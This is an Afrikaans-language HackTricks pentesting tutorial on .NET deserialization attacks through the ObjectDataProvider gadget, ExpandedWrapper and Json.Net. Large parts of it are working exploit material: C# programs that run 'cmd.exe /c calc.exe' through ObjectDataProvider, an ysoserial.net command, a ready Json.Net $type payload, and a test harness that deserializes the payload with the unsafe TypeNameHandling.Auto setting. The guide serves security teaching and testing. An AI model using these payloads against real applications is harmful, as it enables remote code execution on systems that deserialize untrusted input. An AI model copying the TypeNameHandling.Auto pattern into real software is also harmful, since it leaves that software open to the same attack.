hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
2024-02-11 02:07:06 +00:00

10 KiB

Basiese .Net deserialisering (ObjectDataProvider gadget, ExpandedWrapper, en Json.Net)

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Hierdie pos is gewy aan verstaan hoe die gadget ObjectDataProvider uitgebuit word om RCE te verkry en hoe die Serialisering-biblioteke Json.Net en xmlSerializer misbruik kan word met daardie gadget.

ObjectDataProvider Gadget

Volgens die dokumentasie: die ObjectDataProvider-klas wikkel en skep 'n voorwerp wat jy as 'n bindbron kan gebruik.
Ja, dit is 'n vreemde verduideliking, so laat ons kyk wat hierdie klas het wat so interessant is: Hierdie klas maak dit moontlik om 'n willekeurige voorwerp te wikkel, gebruik MethodParameters om willekeurige parameters in te stel, en dan MethodName te gebruik om 'n willekeurige funksie van die willekeurige voorwerp aan te roep wat gedeclareer is met die willekeurige parameters.
Daarom sal die willekeurige voorwerp 'n funksie uitvoer met parameters terwyl dit gedeserialiseer word.

Hoe is dit moontlik

Die System.Windows.Data-naamruimte, wat binne die PresentationFramework.dll gevind word by C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, is waar die ObjectDataProvider gedefinieer en geïmplementeer word.

Met behulp van dnSpy kan jy die kode van die klas wat ons belangstel, ondersoek. In die onderstaande prentjie sien ons die kode van PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Soos jy kan sien, wanneer MethodName ingestel word, word base.Refresh() geroep, laat ons kyk wat dit doen:

Ok, laat ons voortgaan om te sien wat this.BeginQuery() doen. BeginQuery word oorskryf deur ObjectDataProvider en dit is wat dit doen:

Let daarop dat aan die einde van die kode this.QueryWorke(null) geroep word. Laat ons kyk wat dit uitvoer:

Let daarop dat hierdie nie die volledige kode van die funksie QueryWorker is nie, maar dit wys die interessante deel daarvan: Die kode roep this.InvokeMethodOnInstance(out ex); dit is die lyn waar die ingestelde metode aangeroep word.

As jy wil nagaan dat slegs deur die MethodName** in te stel, dit uitgevoer sal word**, kan jy hierdie kode uitvoer:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Let daarop dat jy as verwysing C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll moet byvoeg om System.Windows.Data te laai.

ExpandedWrapper

Met die vorige uitbuiting sal daar gevalle wees waar die object as 'n ObjectDataProvider-instantie gedeserializeer sal word (byvoorbeeld in die DotNetNuke vuln, waar die object gedeserializeer is deur GetType te gebruik met XmlSerializer). Dan sal daar geen kennis wees van die tipe van die object wat ingesluit is in die ObjectDataProvider-instantie (byvoorbeeld Process). Jy kan meer inligting oor die DotNetNuke vuln hier vind.

Hierdie klas maak dit moontlik om die objektippe van die objekte wat ingesluit is in 'n gegewe instantie te spesifiseer. Hierdie klas kan dus gebruik word om 'n bronobjek (ObjectDataProvider) in 'n nuwe objektippe in te sluit en die eienskappe wat ons nodig het (ObjectDataProvider.MethodName en ObjectDataProvider.MethodParameters) te voorsien.
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om _ObjectDataProvider** binne 'n **ExpandedWrapper _ instantie te verpak en wanneer dit gedeserializeer word, sal hierdie klas die OjectDataProvider objek skep wat die funksie wat in MethodName aangedui is, uitvoer.

Jy kan hierdie verpakker toets met die volgende kode:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In die amptelike webwerf word aangedui dat hierdie biblioteek dit moontlik maak om enige .NET-object te serializeer en deserialiseer met Json.NET se kragtige JSON-serializer. Dus, as ons die ObjectDataProvider gadget kon deserialiseer, kon ons 'n RCE veroorsaak deur net 'n voorwerp te deserialiseer.

Json.Net-voorbeeld

Eerstens, laat ons 'n voorbeeld sien van hoe om 'n voorwerp te serializeer/deserializeer met behulp van hierdie biblioteek:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Misbruik van Json.Net

Deur gebruik te maak van ysoserial.net het ek die uitbuiting geskep:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In hierdie kode kan jy die uitbuit toets, voer dit net uit en jy sal sien dat 'n rekenaar uitgevoer word:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!